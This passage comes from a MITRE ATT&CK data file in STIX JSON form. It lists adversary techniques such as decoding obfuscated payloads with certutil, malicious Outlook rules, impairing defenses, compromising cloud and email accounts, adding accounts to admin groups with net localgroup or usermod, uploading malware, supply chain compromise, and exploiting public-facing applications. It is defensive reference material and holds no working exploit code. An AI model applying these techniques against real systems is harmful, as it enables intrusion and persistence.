            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1140",
                    "external_id": "T1140"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                },
                {
                    "source_name": "Sentinel One Tainted Love 2023",
                    "description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/"
                },
                {
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
                },
                {
                    "source_name": "Carbon Black Obfuscation Sept 2016",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Deobfuscate/Decode Files or Information",
            "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)",
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            "x_mitre_contributors": [
                "Crist\u00f3bal Mart\u00ednez Mart\u00edn",
                "Matthew Demaske, Adaptforward",
                "Red Canary"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "created": "2019-11-07T20:00:25.560Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/005",
                    "external_id": "T1137.005"
                },
                {
                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SilentBreak Outlook Rules",
                    "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.",
                    "url": "https://silentbreaksecurity.com/malicious-outlook-rules/"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
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            "modified": "2025-10-24T17:48:41.026Z",
            "name": "Outlook Rules",
            "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "type": "attack-pattern",
            "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
            "created": "2020-02-21T20:22:13.470Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562",
                    "external_id": "T1562"
                },
                {
                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                },
                {
                    "source_name": "Emotet shutdown",
                    "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.",
                    "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"
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            "modified": "2026-04-14T22:54:52.137Z",
            "name": "Impair Defenses",
            "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n",
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                    "phase_name": "stealth"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
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            "x_mitre_version": "1.7"
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            "type": "attack-pattern",
            "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a",
            "created": "2022-05-27T14:30:01.904Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/003",
                    "external_id": "T1586.003"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "Netcraft SendGrid 2024",
                    "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.",
                    "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"
                },
                {
                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Francesco Bigarella"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
            "created": "2020-10-01T01:20:53.104Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/002",
                    "external_id": "T1586.002"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Email Accounts",
            "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
            "kill_chain_phases": [
                {
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                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Tristan Bennett, Seamless Intelligence",
                "Bryan Onel"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291",
            "created": "2024-08-05T20:49:49.809Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/007",
                    "external_id": "T1098.007"
                },
                {
                    "source_name": "Cyber Security News",
                    "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
                    "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
                },
                {
                    "source_name": "Linux Usermod",
                    "description": "Man7. (n.d.). Usermod. Retrieved August 5, 2024.",
                    "url": "https://www.man7.org/linux/man-pages/man8/usermod.8.html"
                },
                {
                    "source_name": "Microsoft Net Group",
                    "description": "Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Net Localgroup",
                    "description": "Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)"
                },
                {
                    "source_name": "Microsoft RDP Logons",
                    "description": "Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services"
                },
                {
                    "source_name": "RootDSE AD Detection 2022",
                    "description": "Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.",
                    "url": "https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-09-26T18:25:02.290Z",
            "name": "Additional Local or Domain Groups",
            "description": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)",
            "kill_chain_phases": [
                {
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                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e",
            "created": "2021-03-17T20:09:13.222Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/001",
                    "external_id": "T1608.001"
                },
                {
                    "source_name": "Datadog Security Labs Malicious PyPi Packages 2024",
                    "description": " Sebastian Obregoso  and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.",
                    "url": "https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Bleeping Computer Binance Smart Chain 2023",
                    "description": "Bill Toulas. (2023, October 13). Hackers use Binance Smart Chain contracts to store malicious scripts. Retrieved May 22, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-use-binance-smart-chain-contracts-to-store-malicious-scripts/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
                },
                {
                    "source_name": "Guardio Etherhiding 2023",
                    "description": "Nati Tal and Oleg Zaytsev. (2023, October 13). \u201cEtherHiding\u201d \u2014 Hiding Web2 Malicious Code in Web3 Smart Contracts. Retrieved May 22, 2025.",
                    "url": "https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16"
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Upload Malware",
            "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)(Citation: Guardio Etherhiding 2023)(Citation: Bleeping Computer Binance Smart Chain 2023)\n\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM).(Citation: Datadog Security Labs Malicious PyPi Packages 2024) By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). Masquerading, including typosquatting legitimate software, may increase the chance of users mistakenly executing these files. ",
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                "Menachem Goldstein",
                "Adam Hunt",
                "Ray Jasinski"
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            "type": "attack-pattern",
            "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1195",
                    "external_id": "T1195"
                },
                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
                },
                {
                    "source_name": "Krebs 3cx overview 2023",
                    "description": "Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.",
                    "url": "https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/"
                },
                {
                    "source_name": "Command Five SK 2011",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
                },
                {
                    "source_name": "IBM Storwize",
                    "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.",
                    "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E"
                },
                {
                    "source_name": "Symantec Elderwood Sept 2012",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"
                },
                {
                    "source_name": "Schneider Electric USB Malware",
                    "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.",
                    "url": "https://www.se.com/us/en/download/document/SESN-2018-236-01/"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
                },
                {
                    "source_name": "Microsoft Dofoil 2018",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"
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            "name": "Supply Chain Compromise",
            "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\n\nIn some cases, adversaries may conduct \u201csecond-order\u201d supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims.  ",
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            "x_mitre_contributors": [
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            "type": "attack-pattern",
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            "created": "2018-04-18T17:59:24.739Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1190",
                    "external_id": "T1190"
                },
                {
                    "source_name": "CWE top 25",
                    "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.",
                    "url": "https://cwe.mitre.org/top25/index.html"
                },
                {
                    "source_name": "CIS Multiple SMB Vulnerabilities",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
                },
                {
                    "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
                    "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
                    "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/"
                },
                {
                    "source_name": "Recorded Future ESXiArgs Ransomware 2023",
                    "description": "German Hoeffner, Aaron Soehnen and Gianni Perez. (2023, February 7). ESXiArgs Ransomware Targets Publicly-Exposed ESXi OpenSLP Servers. Retrieved March 26, 2025.",
                    "url": "https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers"
                },
                {
                    "source_name": "Wired Russia Cyberwar",
                    "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
                    "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
                },
                {
                    "source_name": "Mandiant Fortinet Zero Day",
                    "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "NVD CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
                },
                {
                    "source_name": "NVD CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "OWASP Top 10",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                }
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Exploit Public-Facing Application",
            "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.(Citation: Recorded Future ESXiArgs Ransomware 2023)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Depending on the flaw being exploited, this may also involve [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
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            "type": "attack-pattern",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558",
                    "external_id": "T1558"
